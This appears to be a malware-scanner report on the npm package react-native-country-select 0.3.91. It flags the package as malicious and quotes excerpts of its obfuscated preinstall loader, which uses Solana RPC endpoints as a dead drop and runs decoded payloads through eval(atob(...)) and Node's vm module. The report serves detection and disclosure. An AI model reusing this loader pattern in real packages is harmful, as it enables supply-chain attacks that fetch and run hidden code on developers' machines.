Suspicious ^80% javascript Download

react-native-country-select 0.3.91

obfuscated eval preinstall payload

Obfuscated Solana dead-drop loaderObfuscated Solana signature and transaction dead drop

SHA-256f04950abd52ceacf6d1fc5931b83ea3d0b9018e34084b0b9885387b6055ef7c6

URLhttps://registry.npmjs.org/react-native-country-select/-/react-native-country-select-0.3.91.tgz

MaleculeO₂(S₂As₂)H₅(CmCrDb₄Os₃Po₄)Md₂(Pa₄)

Also flagged by osv (MAL-2026-1931: Malicious code in react-native-country-select (npm)) +3 more.

Evidence

Array initialization with repetitive arithmetic expressions (obfuscation) lines 1–11

1(function (n, L) {
  function I(n, L, H, K) {
      return Q(n - -0x2a2, K);
  }
  function V(n, L, H, K) {
      return Q(K - -0x2b6, L);
  }
  const H = n();
  while (!![]) {
      try {
          const K = parseInt(I(-0x82, -0x9c, -0x90, 'XZuZ')) / …

Imports the Node.js fs module lines 21–30

64… 0x12d, -0xd0)], G = (n, L) => E(n, O(0xe1, 0x11a, 'Go)#', 0xc4), {
      'value': L,
      'configurable': !0x0
  }), h = require('os'), Y = require('fs'), P = require(c(-0xab, '(IUw', -0xa8, -0xf2));
25async function R(H, K = {}) {
  function d(n, L, H, K) {
      return O(n - 0x1a7, K - 0x3e1, L, K - 0x136);
  }
  let p = K[e(0x480, 'QpRG', 0x491, 0x46b)] || 0x3e8, i = [
          e(0x406, 'K5TY', 0x3e2, 0x42a) + d(0x4ae, 'sD …

Obfuscated Solana RPC host fragment lines 31–34

94… , 0x472, 0x4ba) + d(0x508, 'H*1d', 0x4be, 0x4ca),
          d(0x4f1, 'PhAy', 0x4e0, 0x4cb) + '.getblock.' + d(0x486, 'CWG(', 0x479, 0x4b0) + e(0x484, 'PhAy', 0x488, 0x481) + d(0x435, 'XZuZ', 0x498, 0x472) + '1451c',
          e(0x421, '1#YB', 0x414, 0x440) + 'lana-rpc.p' + d(0x447, 'hmwa', 0x4a6, 0x488) + 'com',
          e(0x3f5, 'AogQ', 0x39e, 0x3e8) + d(0x541, 'hcSr', 0x544, 0x4f2) + 'n.xyz/sola' + e(0x453, 'XJjo', 0x47e, 0x43e) + d(0x42a, 'hmwa', 0x499 …

Calls computed member from function result lines 46–67

⋯4 lines
              'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
              'headers': M,
              'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
                  'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
                  'id': 0x1,
                  'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
                  'params': [
                      H[d(0x50d, '%Rah', 0x527, 0x4f7)](),
                      t
                  ]
              })
          });
          if (!y['ok'])
              throw new Error('');
          let Z = await y[e(0x458, 'Q#j4', 0x401, 0x437)]();
          if (Z[e(0x40e, '!Gk*', 0x459, 0x400) + 'or'])
              throw new Error('');
          return Z[d(0x4e6,  …

eval() of atob() decoded data lines 329–341

46… eout(M, 0x3e8)), g();
          else {
              if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
                  eval(atob(u));
                  return;
              }
              if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
                  let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
                  eval(atob(u));
              } else {
                  let M = require('vm'), t = {
                          'require': require,
                          'Buffer': require(w(0x6d4, 0x6a4, 'h(yv', 0x684))[w(0x6a0, 0x622, 'aiAw …

Showing the top 5 files — 1 more file (11 regions) not shown.

No evidence locations were recorded for this file. Raw result